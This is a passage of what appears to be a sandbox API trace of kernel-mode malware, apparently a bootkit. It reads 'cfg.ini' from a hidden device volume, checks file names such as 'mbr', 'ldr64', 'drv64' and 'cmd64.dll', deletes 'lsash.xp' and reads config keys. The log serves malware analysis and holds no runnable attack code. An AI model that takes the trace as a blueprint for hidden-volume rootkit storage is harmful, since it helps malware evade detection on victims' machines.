0xfffffa8007ffba30 [0129.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.190] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.190] IdePortDispatch () returned 0x103 [0129.190] KeWaitForMutexObject () returned 0x0 [0129.190] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.190] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.190] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.190] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.190] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.190] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02f60 [0129.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.190] KeLeaveCriticalRegion () [0129.190] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.190] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.190] KeEnterCriticalRegion () [0129.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.190] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.190] KeLeaveCriticalRegion () [0129.190] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.190] KeEnterCriticalRegion () [0129.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.190] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.190] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.190] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.190] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.190] IdePortDispatch () returned 0x103 [0129.190] KeWaitForMutexObject () returned 0x0 [0129.191] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.191] KeLeaveCriticalRegion () [0129.191] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.191] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.191] KeEnterCriticalRegion () [0129.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.191] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb1000 [0129.191] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.191] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.191] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.191] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.191] IdePortDispatch () returned 0x103 [0129.191] KeWaitForMutexObject () returned 0x0 [0129.191] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.191] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.191] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.191] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.191] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.191] IdePortDispatch () returned 0x103 [0129.191] KeWaitForMutexObject () returned 0x0 [0129.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.191] KeLeaveCriticalRegion () [0129.192] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.192] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.192] KeEnterCriticalRegion () [0129.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.192] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.192] KeLeaveCriticalRegion () [0129.192] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.192] KeEnterCriticalRegion () [0129.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.192] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.192] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c03710, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.192] KeLeaveCriticalRegion () [0129.192] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.192] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.192] KeEnterCriticalRegion () [0129.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.192] ExFreePoolWithTag (P=0xfffffa8003c02f60, Tag=0x0) [0129.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.192] KeLeaveCriticalRegion () [0129.192] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.192] ReleaseMutex (hMutex=0xf0) returned 1 [0129.193] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.193] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.193] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.193] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.193] KeEnterCriticalRegion () [0129.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.193] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.193] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.193] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.193] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.193] IdePortDispatch () returned 0x103 [0129.193] KeWaitForMutexObject () returned 0x0 [0129.193] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.193] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.193] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.193] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.193] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.193] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.193] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.193] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.193] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.193] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.193] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.193] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.193] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.193] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.193] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.193] KeLeaveCriticalRegion () [0129.193] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.193] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.193] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.194] KeEnterCriticalRegion () [0129.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.194] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.194] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.194] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.194] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.194] IdePortDispatch () returned 0x103 [0129.194] KeWaitForMutexObject () returned 0x0 [0129.194] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.194] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.194] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.194] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.194] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.194] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.194] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.194] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.194] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.194] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.194] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.194] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.194] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.194] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.194] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.194] KeLeaveCriticalRegion () [0129.194] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.194] ReleaseMutex (hMutex=0x100) returned 1 [0129.194] Sleep (dwMilliseconds=0x2bf20) [0129.202] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70345390, dwHighDateTime=0x1d24fa4)) [0129.202] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.202] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.202] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.202] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.202] KeEnterCriticalRegion () [0129.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.202] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.202] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.202] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.202] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.202] IdePortDispatch () returned 0x103 [0129.202] KeWaitForMutexObject () returned 0x0 [0129.202] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.202] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.202] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.202] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.202] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.202] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03750 [0129.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.202] KeLeaveCriticalRegion () [0129.202] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.202] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.203] KeEnterCriticalRegion () [0129.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.203] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.203] KeLeaveCriticalRegion () [0129.203] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.203] KeEnterCriticalRegion () [0129.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.203] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.203] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.203] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.203] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.203] IdePortDispatch () returned 0x103 [0129.203] KeWaitForMutexObject () returned 0x0 [0129.203] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.203] KeLeaveCriticalRegion () [0129.203] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.203] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.203] KeEnterCriticalRegion () [0129.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.203] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb4000 [0129.203] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.203] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.203] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.203] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.203] IdePortDispatch () returned 0x103 [0129.203] KeWaitForMutexObject () returned 0x0 [0129.204] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.204] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.204] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.204] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.204] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.204] IdePortDispatch () returned 0x103 [0129.204] KeWaitForMutexObject () returned 0x0 [0129.204] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.204] KeLeaveCriticalRegion () [0129.204] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.204] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.204] KeEnterCriticalRegion () [0129.204] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.204] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.205] KeLeaveCriticalRegion () [0129.205] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.205] KeEnterCriticalRegion () [0129.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.205] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.205] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c030f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.205] KeLeaveCriticalRegion () [0129.205] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.205] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.205] KeEnterCriticalRegion () [0129.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.205] ExFreePoolWithTag (P=0xfffffa8003c03750, Tag=0x0) [0129.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.205] KeLeaveCriticalRegion () [0129.205] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.205] ReleaseMutex (hMutex=0xf0) returned 1 [0129.205] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.205] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.205] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.205] KeEnterCriticalRegion () [0129.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.205] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.205] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.205] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.205] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.205] IdePortDispatch () returned 0x103 [0129.205] KeWaitForMutexObject () returned 0x0 [0129.205] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.205] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.205] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.206] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.206] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.206] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04010 [0129.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.206] KeLeaveCriticalRegion () [0129.206] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.206] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.206] KeEnterCriticalRegion () [0129.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.206] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.206] KeLeaveCriticalRegion () [0129.206] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.206] KeEnterCriticalRegion () [0129.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.206] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.206] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.206] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.206] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.206] IdePortDispatch () returned 0x103 [0129.206] KeWaitForMutexObject () returned 0x0 [0129.206] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.206] KeLeaveCriticalRegion () [0129.206] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.206] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.206] KeEnterCriticalRegion () [0129.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.206] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb5000 [0129.206] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.207] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.207] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.207] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.207] IdePortDispatch () returned 0x103 [0129.207] KeWaitForMutexObject () returned 0x0 [0129.207] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.207] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.207] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.207] 